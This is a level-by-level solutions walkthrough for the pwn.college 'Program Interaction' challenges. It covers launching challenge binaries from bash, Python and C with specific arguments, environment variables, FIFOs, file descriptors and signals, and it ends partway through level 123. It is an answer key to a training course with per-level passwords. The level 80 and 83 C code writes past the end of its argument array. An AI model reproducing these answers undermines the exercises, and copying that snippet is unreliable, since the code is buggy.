Index

Informations

> *The solutions in the blue boxes, like this one, offer more advanced alternative approaches. If you're not interested, you can simply skip them and use the simpler approach.*

```
Commands written in boxes like this one need to be executed in the terminal line by line.
```

file.ext

```
Code written in boxes like this one, with a file name and extension on top, must be saved in the corresponding file and executed according to the instructions that follow.
```

Processes

https://github.com/142y/pwn_college_solutions/tree/main/Program-Interaction-Solutions

Introduction

Bash

Level1

```
bash
/challenge/embryoio_level1
```

Level2

```
bash
echo "atdtfsxw" | /challenge/embryoio_level2
```

Level3

```
bash
/challenge/embryoio_level3 gpyxcvcsld
```

Level4

```
bash
export vhskmf=cymhkqwumu; /challenge/embryoio_level4
```

Level5

```
bash
echo "wylocjms" > /tmp/jekjwz; /challenge/embryoio_level5 < /tmp/jekjwz
```

Level6

```
bash
/challenge/embryoio_level6 > /tmp/flcpen; cat /tmp/flcpen
```

Level7

```
bash
env -i /challenge/embryoio_level5
```

Shellscript

Level8

`echo "/challenge/embryoio_level8" > process.sh; bash process.sh`

Level9

`echo "/challenge/embryoio_level9" > process.sh; echo "dxpcpquz" | bash process.sh`

Level10

`echo "/challenge/embryoio_level10 wytcgviblr" > process.sh; bash process.sh`

Level11

`export iiixac=fkpispcejg; echo "/challenge/embryoio_level11" > process.sh; bash process.sh`

Level12

process.sh

```
echo "ipjmwbkb" > /tmp/bqhirx
/challenge/embryoio_level12 < /tmp/bqhirx
```

`bash process.sh`

Level13

`echo "/challenge/embryoio_level13 > /tmp/ltbdrp" > process.sh`

`bash process.sh; cat /tmp/ltbdrp`

Level14

`echo "env -i /challenge/embryoio_level14" > process.sh`

`bash process.sh`

iPython

Level15

process.py

```
import subprocess
process = subprocess.Popen("/challenge/embryoio_level15", text=True)
process.communicate() # this line is not necessary
```

Run in the terminal `ipython` and input `run process.py`

Level16

process.py

```
import subprocess
process = subprocess.Popen("/challenge/embryoio_level16", stdin=subprocess.PIPE, text=True)
process.communicate("okqlokgg")
```

`ipython` and input `run process.py`

> Alternative: **process.py**
>
> ```
> import subprocess
> process = subprocess.Popen("/challenge/embryoio_level16", text=True)
> process.communicate() # this line IS necessary
> ```
>
> `ipython` and input `run process.py`. Then input back the password provided by the challenge

Level17

process.py

```
import subprocess
process = subprocess.Popen(["/challenge/embryoio_level17", "ztzkgdtgrs"], text=True)
```

`ipython` and input `run process.py`

Level18

process.py

```
import subprocess
process = subprocess.Popen("/challenge/embryoio_level18", text=True)
```

`export "wmodyv"="nfouhobrlv"; ipython` and input `run process.py`

Level19

process.py

```
import subprocess
file = open("/tmp/dqlafk", "r")
process = subprocess.Popen("/challenge/embryoio_level19", stdin=file, text=True)
```

`echo "vafeldkp" > /tmp/dqlafk; ipython` and input `run process.py`

Level20

process.py

```
import subprocess
file = open("/tmp/lihhcb", "w")
process = subprocess.Popen("/challenge/embryoio_level20", stdout=file, text=True)
```

`touch /tmp/lihhcb; ipython` and input `run process.py`. Then quit from ipython and get the flag with `cat /tmp/lihhcb`

Level21

process.py

```
import subprocess
process = subprocess.Popen("/challenge/embryoio_level21", text=True)
```

`env -i ipython` and input `run process.py`

Python

The script that will be used in the following levels of this section: **process.py**

```
import subprocess
process = subprocess.Popen(["/challenge/embryoio_levelXX"], text=True)
process.communicate()
```

> An alternative can be the following script, even though it was tested only for the first level:
>
> ```
> from pwn import *
> p = process(['/challenge/embryoio_levelXX'], env={})
> p.interactive()
> ```

Level22

Run the script with `python process.py`

Level23

`echo "bwrwfozj" | python process.py`

> Alternative: **process.py**
>
> ```
> import subprocess
> process = subprocess.Popen(["/challenge/embryoio_level23"], stdin=subprocess.PIPE,
> stdout=subprocess.PIPE, text=True)
> output, _ = process.communicate("bwrwfozj")
> print(output)
> ```
>
> `python process.py`

Level24

Change the line 2 of the script to:
`process = subprocess.Popen(["/challenge/embryoio_level24", "kbncmyuwym"], text=True)`

`python process.py`

Level25

`export ltpxzg=khgevpkscf; python process.py`

Level26

```
echo "oyqndxkp" > /tmp/bjahjm; python process.py < /tmp/bjahjm
```

> Alternative: **process.py**
>
> ```python
> import subprocess
> file = open("/tmp/bjahjm", "r")
> process = subprocess.Popen("/challenge/embryoio_level26", stdin=file, stdout=subprocess.PIPE, text=True)
> output, _ = process.communicate()
> print(output)
> ```
>
> ```
> echo "oyqndxkp" > /tmp/bjahjm; python process.py
> ```

Level27

```
python process.py > /tmp/ytjkyz; cat /tmp/ytjkyz
```

> Alternative: **process.py**
>
> ```python
> import subprocess
> file = open("/tmp/ytjkyz", "w")
> process = subprocess.Popen("/challenge/embryoio_level27", stdout=file, text=True)
> output, _ = process.communicate()
> ```
>
> ```
> touch /tmp/ytjkyz; python process.py; cat /tmp/ytjkyz
> ```

Level28

```
env -i python process.py
```

Binary

The script that will used in the following levels of this section: **process.c**

```c
#include <unistd.h>
#include <sys/wait.h>

void pwncollege() {
    if (fork() == 0) {
        execl("/challenge/embryoio_levelXX", "processes", NULL);
    }
    wait(NULL);
}

int main() {
    pwncollege();
}
```

Level29

Compile the file and execute the binary with `gcc process.c; ./a.out`

Level30

`gcc process.c; echo "dieyiymw" | ./a.out`

Level31

Change the line 6 of the script to:
`execl("/challenge/embryoio_level31", "process", "dlrzyxdssp", NULL);`

`gcc process.c; ./a.out`

Level32

`export xnkhgp=celfxrxrlt; gcc process.c; ./a.out`

Level33

`echo "mmvtchcn" > /tmp/gshgqx; gcc process.c; ./a.out < /tmp/gshgqx`

Level34

`gcc process.c; ./a.out > /tmp/ygpxzk; cat /tmp/ygpxzk`

Level35

`gcc process.c; env -i ./a.out`

Stdout

Bash-stdout

Level36

```
bash
/challenge/embryoio_level36 | cat
```

Level37

```
bash
/challenge/embryoio_level37 | grep pwn
```

Level38

```
bash
/challenge/embryoio_level38 | sed ""
```

Level39

```
bash
/challenge/embryoio_level39 | rev | rev
```

Level40

```
bash
cat | /challenge/embryoio_level40
# input your password here
```

Alternative

```
bash
echo "inlaktof" > pswd; cat pswd - | /challenge/embryoio_level40
```

Level41

```
bash
rev | rev | /challenge/embryoio_level41
# input your password here and then press CTRL-D
```

Alternative

```
bash
echo "ubmvlrcy" > pswd; cat pswd - | rev | rev | /challenge/embryoio_level41
# press CTRL-D
```

Shellscript-stdout

Level42

`echo "/challenge/embryoio_level42" > process.sh; bash process.sh | cat`

Level43

`echo "/challenge/embryoio_level43" > process.sh; bash process.sh | grep pwn`

Level44

`echo "/challenge/embryoio_level44" > process.sh; bash process.sh | sed ""`

Level45

`echo "/challenge/embryoio_level45" > process.sh; bash process.sh | rev | rev`

Level46

process.sh

```
cat | /challenge/embryoio_level46
# input your password here
```

`bash process.sh`

> Alternative: **process.sh**
>
> ```
> echo "yozggtwt" > pswd
> cat pswd - | /challenge/embryoio_level46
> ```
>
> `bash process.sh`

Level47

process.sh

```
rev | rev | /challenge/embryoio_level47
# input your password here and then press CTRL-D
```

`bash process.sh`

> Alternative: **process.sh**
>
> ```
> echo "hyrehdpw" > pswd
> cat pswd - | rev | rev | /challenge/embryoio_level47
> # press CTRL-D
> ```
>
> `bash process.sh`

iPython-stdout

Level48

process.py

```
import subprocess
process = subprocess.Popen("/challenge/embryoio_level48", stdout=subprocess.PIPE, text=True)
cat_process = subprocess.Popen(["cat"], stdin=process.stdout, text=True)
cat_process.communicate()
```

`ipython` and input `run process.py`

Level49

process.py

```
import subprocess
process = subprocess.Popen("/challenge/embryoio_level49", stdout=subprocess.PIPE, text=True)
grep_process = subprocess.Popen(["grep", "pwn"], stdin=process.stdout, text=True)
grep_process.communicate()
```

`ipython` and input `run process.py`

Level50

process.py

```
import subprocess
process = subprocess.Popen("/challenge/embryoio_level50", stdout=subprocess.PIPE, text=True)
sed_process = subprocess.Popen(["sed", ""], stdin=process.stdout, text=True)
sed_process.communicate()
```

`ipython` and input `run process.py`

Level51

process.py

```
import subprocess
process = subprocess.Popen("/challenge/embryoio_level51", stdout=subprocess.PIPE, text=True)
rev_process = subprocess.Popen(["rev"], stdin=process.stdout, text=True)
rev_process.communicate()
```

`ipython` and input `run process.py`. Copy the reversed flag and quit from ipython with `Ctrl-Z`
Then run `rev` from the command line and paste your reversed flag: now copy the output and you've got your flag.

> Alternative: **process.py**
>
> ```
> import subprocess
> process = subprocess.Popen("/challenge/embryoio_level51", stdout=subprocess.PIPE, text=True)
> rev_process1 = subprocess.Popen(["rev"], stdout=subprocess.PIPE, stdin=process.stdout,
> text=True)
> rev_process2 = subprocess.Popen(["rev"], stdin=rev_process1.stdout, text=True)
> rev_process2.communicate()
> ```
>
> `ipython` and input `run process.py`

Level52

process.py

```
import subprocess
cat_process = subprocess.Popen(["cat"], stdout=subprocess.PIPE, text=True)
process = subprocess.Popen("/challenge/embryoio_level52", stdin=cat_process.stdout, text=True)
process.communicate()
```

`ipython` and input `run process.py`. Then input the password provided by the challenge.

> Alternative: **process.py**
>
> ```
> import subprocess
> cat_process = subprocess.Popen(["cat", "pswd", "-"], stdout=subprocess.PIPE, text=True)
> process = subprocess.Popen("/challenge/embryoio_level52", stdin=cat_process.stdout, text=True)
> process.communicate()
> ```
>
> `echo "hnevjnbw" > pswd; ipython` and input `run process.py`

Level53

process.py

```
import subprocess
rev_process1 = subprocess.Popen(["rev"], stdout=subprocess.PIPE, text=True)
rev_process2 = subprocess.Popen(["rev"], stdin=rev_process1.stdout, stdout=subprocess.PIPE,
text=True)
process = subprocess.Popen("/challenge/embryoio_level53", stdin=rev_process2.stdout, text=True)
process.communicate()
```

`ipython` and input `run process.py`. Then input your password and press `Ctrl-D`

> **process.py**
>
> ```
> import subprocess
> cat_process = subprocess.Popen(["cat", "pswd", "-"], stdout=subprocess.PIPE, text=True)
> rev_process1 = subprocess.Popen(["rev"], stdin=cat_process.stdout, stdout=subprocess.PIPE,
> text=True)
> rev_process2 = subprocess.Popen(["rev"], stdin=rev_process1.stdout, stdout=subprocess.PIPE,
> text=True)
> process = subprocess.Popen("/challenge/embryoio_level53", stdin=rev_process2.stdout,
> text=True)
> process.communicate()
> ```
>
> `echo "hykmssiy" > pswd; ipython` and input `run process.py`

Python-stdout

The script that will used in the following levels of this section: **process.py**. It's the same used in the **Python** section.

```
import subprocess
process = subprocess.Popen(["/challenge/embryoio_levelXX"], text=True)
process.communicate()
```

Level54

`python process.py | cat`

Level55

`python process.py | grep pwn`

Level56

`python process.py | sed ""`

Level57

`python process.py | rev | rev`

Level58

`cat | python process.py` and then input your password

> Alternative
>
> ```
> echo "wslwchzx" > pswd
> cat pswd - | python process.py
> ```

Level59

`rev | rev | python process.py`, input your password and then press `CTRL-D`

> Alternative
>
> ```
> echo "bkdttour" > pswd
> cat pswd - | rev | rev | python process.py
> # press CTRL-D
> ```

Binary-stdout

The script that will used in the following levels of this section: **process.c**. It's the same used in the **Binary** section

```c
#include <unistd.h>
#include <sys/wait.h>

void pwncollege() {
    if (fork() == 0) {
        execl("/challenge/embryoio_levelXX", "processes", NULL);
    }
    wait(NULL);
}

int main() {
    pwncollege();
}
```

Level60

`gcc process.c; ./a.out | cat`

Level61

`gcc process.c; ./a.out | grep pwn`

Level62

`gcc process.c; ./a.out | sed ""`

Level63

`gcc process.c; ./a.out | rev | rev`

Level64

`gcc process.c; cat | ./a.out` and then input your password

> Alternative
>
> ```
> echo "prgnzlxr" > pswd
> gcc process.c; cat pswd - | ./a.out
> ```

Level65

`gcc process.c; rev | rev | ./a.out`, input your password and then press `CTRL-D`

> Alternative
>
> ```
> echo "mmlmyokf" > pswd
> gcc process.c; cat pswd - | rev | rev | ./a.out
> # press CTRL-D
> ```

Level66

`find /challenge -name 'em*' -exec {} \;`

Level67

`find /challenge -name 'em*' -exec {} wsnvfvcsip \;`

Env and Arguments

Shellscript - Env and Arguments

Level68

process.sh

```
/challenge/embryoio_level68 a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a cwomjbrgck
```

In the **process.sh** file, if the password needs to be the n_{th} argument of the challenge process, prepend $n-1$ placeholders before it.

- For example, in my case the password had to be the 139th arguments, so I've added 138 "a" before it

Then run the script with `bash process.sh`

> Two alternatives to automate the *"placeholding"* process, use either of them: **process.sh**
>
> ```
> /challenge/embryoio_level68 $(for i in {1..138}; do echo "a"; done) cwomjbrgck
> ```
>
> ```
> /challenge/embryoio_level68 $(seq -s " a" 138) cwomjbrgck
> ```
>
> Change the number with your $n-1$ and run the script with `bash process.sh`
>
> *- Note that if your password has to be the n_{th} argument, than you need to prepend $n-1$ placeholders*

Level70

process.sh

```
env -i 186=lsbdmpsdnp /challenge/embryoio_level70
```

`bash process.sh`

Level71

process.sh

```
env -i 196=atbfrapghz /challenge/embryoio_level71 [327 a's here] mjorzyjtdo
```

In the **process.sh** file, if the password needs to be the n_{th} argument of the challenge process, prepend $n-1$ placeholders before it, just like in level68.

- For example, in my case the password had to be the 328th arguments, so I've added 327 "a" before it

Then run the script with `bash process.sh`

> Two alternatives to automate the *"placeholding"* process, use either of them: **process.sh**
>
> ```
> env -i 196=atbfrapghz /challenge/embryoio_level71 $(seq -s " a" 327) mjorzyjtdo
> ```
>
> ```
> env -i 196=atbfrapghz /challenge/embryoio_level71 $(for i in {1..327}; do echo "a"; done)
> mjorzyjtdo
> ```
>
> Change the number with your $n-1$ and run the script with `bash process.sh`
>
> *- Note that if your password has to be the n_{th} argument, than you need to prepend $n-1$ placeholders*

Level72

process.sh

```
mkdir /tmp/ksuckl; cd /tmp/ksuckl
touch ryaygd
/challenge/embryoio_level72 < ryaygd
```

`bash process.sh`

> You can add the `-p` flag to mkdir to avoid getting any error if the folder already exists

Level73

process.sh

```
mkdir /tmp/raxdgk
bash -c "cd /tmp/raxdgk; exec /challenge/embryoio_level73"
```

`bash process.sh`

Python - Env and Arguments

Level76

process.py *(same script used in previouses challenges)*

```
import subprocess
process = subprocess.Popen(["/challenge/embryoio_level76"], text=True)
process.communicate()
```

`env -i 111=ohkknhjumb python process.py`

Level77

process.py *(almost the same script used in previouses challenges, with only the adding of those a's)*

```
import subprocess
file = ["/challenge/embryoio_level77"] + ["a"] * 263 + ["kzytpmfqva"]
process = subprocess.Popen(file, text=True)
process.communicate()
```

`env -i 109=jswdjjbdyu python process.py`

> You can also manually put $n - 1$ a's in the list before the password, like:
> `file = ["/challenge/embryoio_level77", "a", "a", ..., "a", "a", kzytpmfqva"]`

Level78

process.py *(same script used in previouses challenges)*

```
import subprocess
process = subprocess.Popen(["/challenge/embryoio_level78"], text=True)
process.communicate()
```

```
mkdir /tmp/webttw; cd /tmp/webttw
touch xiipqo
python ~/process.py < xiipqo
```

It is important to save the python file in the home directory and then run it from the directory specified by the challenge.

Level79

process.py *(almost the same script used in previouses challenges)*

```
import subprocess
cwd = "/tmp/tzsmsx" # to change the CWD as requested by the challenge
process = subprocess.Popen(["/challenge/embryoio_level79"], cwd=cwd, text=True)
process.communicate()
```

```
mkdir /tmp/tzsmsx
python process.py
```

Binary - Env and Arguments

Level80

process.c *(almost the same script used in previouses challenges, with only the addition of those a's)*

```c
#include <unistd.h>
#include <sys/wait.h>
void pwncollege() {
    if (fork() == 0) {
        execl("/challenge/embryoio_level80", "a", "a", ..., "a", "a", "xbzacouyfq", "processes",
NULL);
    }
    wait(NULL);
}
int main() {
    pwncollege();
}
```

In the **process.c** file, if the password needs to be the n_{th} argument of the challenge process, prepend $n-1$ placeholders before it.

- *For example, in my case the password had to be the 138th arguments, so I need to add 137 "a" before it. In the upper script, replace the three dots with the correct amount of placeholders.*

Compile and run it with `gcc process.c; ./a.out`

Alternative to automate the *"placeholding"* process: **process.c**

```c
#include <unistd.h>
#include <sys/wait.h>

void pwncollege() {
    if (fork() == 0) {
        int n = 138; // if your password has to be the N_th argument, put here N
        char *args[n+1];

        for (int i = 0; i < n; i++) {
            args[i] = "a"; // adding N-1 placeholders before your password
        }

        args[n] = "xbzacouyfq"; // change this with your password
        args[n+1] = NULL;

        execv("/challenge/embryoio_level80", args);
    }
 wait(NULL);
}
int main() {
 pwncollege();
}
```

Then compile and run it with `gcc process.c; ./a.out`

Note that we are using **execv** and not **execl** (like in the previous C scripts) because execv accepts the arguments in an array, while execl accepts them as separate parameters. Using an array lets us automate the creation of the placeholders.

The first parameter of execv is the path to the executable file, and the second one is an array of strings representing the arguments to pass to the executable.

- **This array needs to have a `NULL` at the end**! Otherwise, execv will not know where the argument list ends, leading to undefined behavior.

Level82

process.c *(same script used in previouses challenges)*

```c
#include <unistd.h>
#include <sys/wait.h>

void pwncollege() {
    if (fork() == 0) {
        execl("/challenge/embryoio_level82", "processes", NULL);
    }
    wait(NULL);
}

int main() {
    pwncollege();
}
```

```
gcc process.c; env -i 69=bcyckccfah ./a.out
```

Level83

process.c *(same script of level 80)*

```c
#include <unistd.h>
#include <sys/wait.h>

void pwncollege() {
    if (fork() == 0) {
        int n = 100; // if your password has to be the N_th argument, put here N
        char *args[n+1];

        for (int i = 0; i < n; i++) {
            args[i] = "a"; // adding N-1 placeholders before your password
        }

        args[n] = "crihzvswwe"; // change this with your password
        args[n+1] = NULL;

        execv("/challenge/embryoio_level83", args);
    }
    wait(NULL);
}

int main() {
    pwncollege();
}
```

```
gcc process.c; env -i 109=asknezgoiq ./a.out
```

> For the script explanation or for an easier and "manual" alternative, look at **level80**

Level84

process.c *(same script used in previouses challenges)*

```c
#include <unistd.h>
#include <sys/wait.h>

void pwncollege() {
    if (fork() == 0) {
        execl("/challenge/embryoio_level84", "processes", NULL);
    }
    wait(NULL);
}

int main() {
    pwncollege();
}
```

```
gcc process.c
mkdir /tmp/zgqknq; cd /tmp/zgqknq
touch xijtpg
~/a.out < xijtpg
```

It is important to compile the C file in the home directory and then execute the binary file (located in the home folder) from the directory specified by the challenge.

Level85

process.c *(almost the same script used in previouses challenges)*

```c
#include <unistd.h>
#include <sys/wait.h>

void pwncollege() {
    if (fork() == 0) {
        chdir("/tmp/tagmpl"); // to change the CWD as requested by the challenge
        execl("/challenge/embryoio_level85", "processes", NULL);
    }
    wait(NULL);
}

int main() {
    pwncollege();
}
```

`mkdir /tmp/tagmpl; gcc process.c; ./a.out`

Miscellaneous

Shellscript - Miscellaneous

Level86

`echo "/challenge/embryoio_level86" > process.sh; bash process.sh`

Input back the number given by the test to obtain the flag.

Level 87

`echo "/challenge/embryoio_level87" > process.sh; bash process.sh`

Send the solutions for these 5 operations using the calculator.

Level88

`ln -s /challenge/embryoio_level88 /tmp/ghezqt`

`echo "/tmp/ghezqt" > process.sh; bash process.sh`

Level89

In your home directory `~` execute the command `ln -s /challenge/embryoio_level89 ydntbk`

`export PATH=$PATH:~` to add your home folder to the PATH env variable. This way you can execute the symbolic link ydntbk without having to prepend a ./ to it, which is not acceptable to solve the challenge.

`echo "ydntbk" > process.sh; bash process.sh`

Shellscript - FIFO

> **Attention**: When working with FIFOs, remember to remove them manually after executing your scripts using `rm`. Forgetting to remove them can lead to unexpected behavior, especially when executing more complex piping in the following levels.

Level90

process.sh

```
mkfifo fifo
echo "rjezmbiz" > fifo &
/challenge/embryoio_level90 < fifo
```

`bash process.sh`

Level91

process.sh

```
mkfifo fifo
/challenge/embryoio_level91 > fifo
```

`bash process.sh`, keep it running and then in another terminal run `cat fifo` to retrieve the flag.

Level92

process.sh

```
mkfifo fifo_in fifo_out
echo "fpparcpd" > fifo_in &
/challenge/embryoio_level92 < fifo_in > fifo_out &
cat fifo_out
```

`bash process.sh`

Level93

process.sh

```
mkfifo fifo_in fifo_out
while true; do
    echo "1600" > fifo_in &
    /challenge/embryoio_level93 < fifo_in > fifo_out &
    cat fifo_out | grep "pwn"
done
```

Then run it with `bash process.sh`. Leave it running for 5 minutes at least.

- *As you can see, it's the same approach used in the previous level, but it is now placed within a while loop*

"Deterministic" alternative (works at first try): **process.sh**

```
mkfifo fifo_in fifo_out

(while true; do echo -n ""; sleep 1; done > fifo_in) &  # keep fifo_in open for writing
/challenge/embryoio_level93 < fifo_in > fifo_out &

evaluate_expression() {
 expr="$1"
 echo $((expr)) 2>/dev/null
}

while true; do
 if read -r line < fifo_out; then
     echo "$line"

     if [[ $line == "[TEST] CHALLENGE! Please send the solution for"* ]]; then
         challenge=$(echo "$line" | awk -F 'for: ' '{print $2}')

         solution=$(evaluate_expression "$challenge")

         if [[ -n $solution ]]; then
             echo "$solution" > fifo_in
             echo "[DEBUG] Responded with: $solution"
         fi
     fi
 fi
done
```

Then run it with `bash process.sh`

Shellscript - File descriptor

Default file descriptors:

- 0: **stdin** (standard input)
- 1: **stdout** (standard output)
- 2: **stderr** (standard error)

Level94

process.sh

```
echo "rvjtpnsl" | /challenge/embryoio_level94 279<&0
```

Then run it with `bash process.sh`

> From my challenge text:
> `- the challenge will take input on a specific file descriptor : 279`
> `- the challenge will check for a hardcoded password over stdin : rvjtpnsl`
>
> The **process.sh** script sends the password **rvjtpnsl** as input to the challenge using **file descriptor 279**.
>
> The `279<&0` syntax redirects file descriptor 279 to point to the same source as stdin (file descriptor 0). In this context, it allows the program to read the password provided on stdin (rvjtpnsl) via file descriptor 279.

Level95

process.sh

```
echo "eehtzuoo" | /challenge/embryoio_level95 2<&0
```

`bash process.sh`

> The requirements of this challenge are the same of the previous level: the **process.sh** script sends the password **eehtzuoo** as input to the challenge using **file descriptor 2**.
>
> In this challenge, file descriptor 2 (normally used for error messages) is redirected to file descriptor 0 (stdin) using the syntax `2<&0`. This allows the program to read the password provided via stdin as if it were coming from file descriptor 2, fulfilling the challenge's requirements.

Level96

process.sh

```
/challenge/embryoio_level96
```

`bash process.sh` and then input the required password provided by the challenge

> From my challenge text:
> `- the challenge will take input on a specific file descriptor : 1`
> `- the challenge will check for a hardcoded password over stdin : rvglqiwp`
>
> The program expects to receive the password on file descriptor 1, which is stdout. When you manually type the password in the terminal, the program reads it from **stdin** and writes it to **stdout** (file descriptor 1), and since the program expects input via **stdout**, it correctly identifies the password.
>
> **Automatic solution:** scripting this behavior is tricky. The challenge asks you to write to **file descriptor 1 (stdout)**. If you open **stdout** (fd1) for writing, you'll be unable to read the result, and if you open it for reading, you won't be able to write to it. The solution requires finding a way to handle both input and output via **stdout** and **stdin** concurrently, which complicates the redirection. I won't provide an automatic solution.

Shellscript - Signals

Level97

process.sh

```
/challenge/embryoio_level97
```

In a terminal run the challenge with `bash process.sh`

The last line will say something like:
`[TEST] You must send me (PID 741) the following signals, in exactly this order: ['SIGUSR1']`

Open a new terminal and from there run the command `kill -SIGNAL PID` (place in the command the correct values). Then go back to the previous terminal and there you'll see the flag.

- *In the upper example, the command would be* `kill -SIGUSR1 741`

> **Alternative to do that in a single terminal:**
>
> Run `bash process.sh &` and press enter if needed. The challenge process will now run in the background. Then you can send the `kill -SIGNAL PID` command freely in the same terminal and get the flag.

Level98

Do the same as in the previous level, but this time you will need to send 5 signals in the order provided by the challenge. You do this by sending 5 `kill -SIGNAL PID` commands (using the same PID, as the challenge process stays the same).

Python - Miscellaneous

Level99

process.py

```
import subprocess
process = subprocess.Popen(["/challenge/embryoio_level99"], text=True)
process.communicate()
```

`python process.py` and input back the number given by the test to obtain the flag.

Level100

Using the **process.py** script of **level99**, run it with `python process.py`. Send the solutions for these 5 operations using the calculator.

Level101

process.py

```
import subprocess
process = subprocess.Popen(["/tmp/fxhrxn"], text=True)
process.communicate()
```

`ln -s /challenge/embryoio_level101 /tmp/fxhrxn`

`python process.py`

Level102

process.py

```
import subprocess
process = subprocess.Popen(["tehbkq"], text=True)
process.communicate()
```

In your home directory `~` execute the command `ln -s /challenge/embryoio_level102 tehbkq`

`export PATH=$PATH:~` to add you home folder to the PATH env variable. This way you can execute the symbolic link tehbkq without having to prepend a ./ to it, which is not acceptable in order to solve the challenge.

`python process.py`

Python - FIFO

The script that will used in the following levels of this section: **process.py**. It's the same used in the **Python** section

process.py

```
import subprocess
process = subprocess.Popen(["/challenge/embryoio_levelXXX"], text=True)
process.communicate()
```

> **Attention**: When working with FIFOs, remember to remove them manually after executing your scripts using `rm`. Forgetting to remove them can lead to unexpected behavior, especially when executing more complex piping in the following levels.

Level103

```
mkfifo fifo
echo "fdhkrjak" > fifo &
python process.py < fifo
```

Level104

```
mkfifo fifo
python process.py > fifo &
cat fifo
```

Level105

```
mkfifo fifo_in fifo_out
echo "vistgupz" > fifo_in &
python process.py < fifo_in > fifo_out &
cat fifo_out
```

Level106

process.sh

```
mkfifo fifo_in fifo_out
while true; do
    echo "1600" > fifo_in &
    python process.py < fifo_in > fifo_out &
    cat fifo_out | grep "pwn"
done
```

Then run it with `bash process.sh`. Leave it running for 5 minutes at least.

- *As you can see, it's the same approach used in the previous level, but it is now placed within a while loop*

> "Deterministic" alternative (works at first try): use the **process.sh** script in the blue box of **level93**.
>
> Take that script and replace its 4th line: `/challenge/embryoio_level93 < fifo_in > fifo_out &` with `python process.py < fifo_in > fifo_out &` (you still need **process.py**, use the script that you find ad the beginning of this section)
>
> Then run it with `bash process.sh` and you'll get your flag.

Python - File descriptor

For an explanation of how those challenges work, refer to the corresponding levels in the **Shellscript - File Descriptors** section. In the blue boxes of *that* section, you'll find an approximate explanation. The blue boxes of *this* section, on the other hand, briefly explain the behavior of Python with file descriptors.

Level107

process.py

```python
import subprocess
process = subprocess.Popen(["/challenge/embryoio_level107"], pass_fds=[80], text=True)
# remember to include your required file descriptor inside of the pass_fds list
process.communicate()
```

> To our usual python script we're adding `pass_fds=[80]` as a parameter to the subprocess instance. This is because, by default, **subprocess.Popen** closes all file descriptors except stdin (0), stdout (1) and stderr(2). To use the specific file descriptor required by the challenge, you need to include it in the **pass_fds** list.

Then run it with `echo "acknxkas" | python process.py 80<&0`

Level108

Using the usual **process.py** script, run `echo "uwvcxfng" | python process.py 2<&0`

> In this case, there is no need to pass file descriptor 2 (stderr) to the **pass_fds** list because, as explained in the previous level, it's one of the three file descriptors that **subprocess.Popen** never closes by default.

Level109

Using the usual **process.py** script, run `python process.py` and then input the required password provided by the challenge

Python - Signals

Level110

In a terminal run the challenge with `python process.py`

The last line will say something like:
`[TEST] You must send me (PID 388) the following signals, in exactly this order: ['SIGUSR1']`

Open a new terminal and from there run the command `kill -SIGNAL PID` (replace in the command the correct values). Then go back to the previous terminal and there you'll see the flag.

- *In the upper example, the command would be* `kill -SIGUSR1 388`

> **Alternative to do that in a single terminal:**
>
> Run `python process.py &` and press enter if needed. The challenge process will now run in the background. Then you can send the `kill -SIGNAL PID` command freely in the same terminal and get the flag.

Level111

Do the same as in the previous level, but this time you will need to send 5 signals in the order provided by the challenge. You do this by sending 5 `kill -SIGNAL PID` commands (using the same PID, as the challenge process stays the same).

Binary - Miscellaneous

Level112

process.c

```c
#include <unistd.h>
#include <sys/wait.h>

void pwncollege() {
    if (fork() == 0) {
        execl("/challenge/embryoio_level112", "processes", NULL);
    }
    wait(NULL);
}

int main() {
    pwncollege();
}
```

`gcc process.c; ./a.out` and input back the number given by the test to obtain the flag.

Level113

Using the **process.c** script of **level112**, run it with `gcc process.c; ./a.out`. Send the solutions for these 5 operations using the calculator.

Level114

process.c

```c
#include <unistd.h>
#include <sys/wait.h>

void pwncollege() {
    if (fork() == 0) {
        execl("/challenge/embryoio_level114", "/tmp/hmzodu", NULL);
        // "/tmp/hmzodu" is the value of ARGV[0], change it with yours
    }
    wait(NULL);
}

int main() {
    pwncollege();
}
```

`gcc process.c; ./a.out`

The solution of this challenge is a bit different than the one used in the shellscript and python versions: there is no need to do a symlink with `ln` as the `execl` function in C accepts in the parameters the value for `argv[0]`

Level115

process.c

```c
#include <unistd.h>
#include <sys/wait.h>

void pwncollege() {
    if (fork() == 0) {
        execl("/challenge/embryoio_level115", "xiwlos", NULL);
        // "xiwlos" is the value of ARGV[0], change it with yours
    }
    wait(NULL);
}

int main() {
    pwncollege();
}
```

`gcc process.c; ./a.out`

Even here there is no need to do a symlink, it's easier.

Binary - FIFO

The script that will used in the following levels of this section: **process.c**. It's the same used in the **Binary** section

```c
#include <unistd.h>
#include <sys/wait.h>

void pwncollege() {
    if (fork() == 0) {
        execl("/challenge/embryoio_levelXXX", "processes", NULL);
    }
    wait(NULL);
}

int main() {
    pwncollege();
}
```

> **Attention**: When working with FIFOs, remember to remove them manually after executing your scripts using `rm`. Forgetting to remove them can lead to unexpected behavior, especially when executing more complex piping in the following levels.

Level116

```
mkfifo fifo
echo "xdvuhjpt" > fifo &
gcc process.c; ./a.out < fifo
```

Level117

```
mkfifo fifo
gcc process.c; ./a.out > fifo &
cat fifo
```

Level118

```
mkfifo fifo_in fifo_out
echo "vupozugk" > fifo_in &
gcc process.c; ./a.out < fifo_in > fifo_out &
cat fifo_out
```

Level119

process.sh

```
mkfifo fifo_in fifo_out
gcc process.c
while true; do
    echo "1600" > fifo_in &
    ./a.out < fifo_in > fifo_out &
    cat fifo_out | grep "pwn.col"
done
```

Then run it with `bash process.sh`. Leave it running for 5 minutes at least.

- *As you can see, it's the same approach used in the previous level, but it is now placed within a while loop*

> "Deterministic" alternative (works at first try): use the **process.sh** script in the blue box of **level93**.
>
> Take that script and replace its 4th line: `/challenge/embryoio_level93 < fifo_in > fifo_out &` with `./a.out < fifo_in > fifo_out &` (you still need **process.c**, use the script that you find ad the beginning of this section)
>
> Then run it with `gcc process.c; bash process.sh` and you'll get your flag.

Binary - File descriptor

For an explanation of how those challenges work, refer to the corresponding levels in the **Shellscript - File Descriptors** section. In the blue boxes of *that* section, you'll find an approximate explanation.

Level120

`gcc process.c; echo "hhtbcoyw" | ./a.out 197<&0`

Level121

`gcc process.c; echo "jwbgnhlv" | ./a.out 2<&0`

Level122

`gcc process.c; ./a.out` and then input the required password provided by the challenge

Binary - Signals

Level123

In a terminal run the challenge with `gcc process.c; ./a.out`

The last line will say something like:
